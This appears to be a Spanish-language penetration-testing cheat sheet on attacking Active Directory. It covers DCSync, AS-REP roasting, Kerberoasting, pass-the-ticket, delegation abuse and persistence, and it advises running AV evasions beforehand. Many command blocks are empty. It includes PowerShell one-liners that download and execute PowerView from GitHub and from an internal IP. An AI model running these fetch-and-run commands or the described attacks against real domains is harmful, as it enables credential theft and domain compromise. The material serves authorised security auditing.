Active directory

Herramientas

Antes de ejecutar scripts de powershell que normalmente son identificados como maliciosos, se recomienda ejecutar las evasiones detalladas en Windows.

ADModule

https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps

https://github.com/samratashok/ADModule

git clone "https://github.com/samratashok/ADModule.git"
cd ADModule
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1 

Lista de cmdlets: https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Recon/PowerView.ps1'))
iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerView.ps1'))

Antes habrá que habilitar la ejecución de scripts: Active directory

Luego, se carga PowerView:

cd PowerSploit\Recon
. .\PowerView.ps1

One liner - Descarga y ejecución del script:

SharpView

Not found

ADExplorer

https://learn.microsoft.com/es-es/sysinternals/downloads/adexplorer

ADRecon

https://github.com/adrecon/ADRecon

ADAPE

https://github.com/hausec/ADAPE-Script

Ping Castle

https://www.pingcastle.com/download/

Configuración DNS

Cuando se realiza una auditoría de Active Directory, uno de los primeros pasos que muchos olvidan es configurar correctamente el DNS. Si no apuntas tu máquina al Controlador de Dominio (DC) como servidor DNS, estarás limitando tus capacidades de enumeración, autenticación y explotación.

Cuando hay múltiples DCs, normalmente todos comparten la misma zona DNS y actúan como servidores DNS autoritativos del dominio, por lo que, se puede usar cualquier DC como servidor DNS.

Por ejemplo, si el DNS no está configurado correctamente, no podrás obtener tickets de servicio (TGS) ni realizar consultas a Kerberos.

Cambiar servidor DNS del sistema

Siendo, por ejemplo, 10.200.80.101 la IP del controlador del dominio (DC).

Para cambiar de forma sencilla la configuración:

  • Kali:

  • Windows:

Ejecutar con privilegios de administrador:

Para comprobar en ambos casos que está configurado correctamente, hacer nslookup del dominio, siendo por ejemplo xtormin.local:

Si se resuelve correctamente el dominio, se encuentra bien configurado.

Añadir registro DNS manualmente

Si no es posible cambiar la configuración DNS, se pueden añadir los registros a mano en el sistema. No obstante, solo se recomienda para casos puntuales, ya que no es viable realizarlo con una gran cantidad de hosts y además, puede dar lugar a fallos en la explotación de vulnerabilidades.

  • Kali:

  • Windows:

Enumeración manual

Enumeración automatizada

BloodHound

BloodHound

Ataques

Password Spraying

Identificar cuentas con el contador de intentos fallidos no nulos (es decir, que ya han agotado algún intento de inicio de sesión): Active directory

ADCS - Certificados vulnerables

https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions

Binarios complilados: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git

DCsync

Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Golden Tickets.

Por ejemplo:

  • Si un usuario SVC-TEST es miembro de SERVICE ACCOUNTS, PRIVILAGED IT ACCOUNTS y ACCOUNTS OPERATORS.

  • Los miembros del grupo ACCOUNT OPERATORS tienen privilegios GenericAll sobre el grupo EXCHANGE WINDOWS PERMISSIONS. Esto significa que tenemos control total para manipular cualquier objeto de destino.

  • Los miembros del grupo EXCHANGE WINDOWS PERMISSIONS tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio XTORMINCORP.LOCAL. Esto significa que podemos otorgarnos el privilegio de DcSync.

  • Con este privilegio se podría llevar acabo un ataque de DCSync.

Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:

Se le da permisos de DCSync al usuario creado:

Y se obtienen los hashes de los usuarios:

Con netexec se puede verificar a qué hosts tiene acceso el usuario administrador haciendo uso del hash obtenido anteriormente:

Se obtiene una shell usando psexec:

AS-REP Roasting - Autenticación de kerberos no requerida

Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.

Se crea un fichero "svc-test.hc18200" con el contenido del ticket:

Se intenta crackear el hash, por ejemplo, con un diccionario:

Kerberoasting

Se solicita un TGS (Ticket Granting Service) para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.

  • Enumeración de cuentas con SPN:

  • Solicitud de tickets TGS:

Desde windows:

Desde Kali:

Cracking de tickets:

  • John:

  • Hashcat:

Pass the Ticket - PTT

https://github.com/GhostPack/Rubeus

Windows

Opción 1: Se añade el ticket directamente en Base64:

Opción 2: Se decodifica el código en Base64 en un fichero .kirbi que luego será inyectado desde la herramienta mimikatz:

Opción 3: Se crea un ticket TGT haciendo uso del hash del usuario:

Se enumeran los tickets disponibles:

Se inicia sesión:

Linux

https://github.com/SolomonSklash/RubeusToCcache

Delegación

Delegación no restringida / Unconstrained Delegation

Herramienta
Comando

Powerview

Delegación restringida / Constained Delegation

Para identificar equipos que cuentan con el atributo TrustedForDelegation se puede usar el siguiente comando:

Herramienta
Comando

Powerview

AD Module

ADSI

Para obtener la lista completa y guardarla en un fichero CSV:

Si solo se quiere hacer de una lista de hosts en concreto:

Movimiento lateral

Conexiones remotas

Misc

SC

  • Puerto:

    • 135/tcp & 49152-65535/ TCP (DCE/RPC)

    • 445/tcp (RPC sobre canales con nombre SMB )

    • 139/tcp (RPC sobre canales con nombre SMB )

  • Grupo requerido: Administradores

Creación remota de tareas programadas

Persistencia

Creación de usuarios

Creación de un usuario administrador:

Casos de ataque

Ejemplo 1 - Máquinas con acceso privilegiado + PTT

(aka. Derivative Local Admin + PTT)

Teniendo un acceso previo con un "Usuario A" del dominio sin privilegios en la "Máquina A":

  • Se enumeran todas las máquinas en las que se tiene acceso de administrador local "Find-LocalAdminAccess".

  • Se obtiene una "Máquina B" y se accede vía PSExec, SMBExec, etc.

  • Se extraen los tickets disponibles en la máquina, por ejemplo, haciendo uso de Rubeus o Mimikatz.

  • Se carga el ticket krbtgt de un "Usuario B" (de la "Máquina B") en la "Máquina A" (dentro del dominio) o en una "Máquina C" (fuera del dominio).

Active directory

  • Se accede a la "Máquina B" con el ticket, suplantando la identidad del "Usuario B".

Ejemplo 1 - Esquema de ataque

Referencias

Última actualización

¿Te fue útil?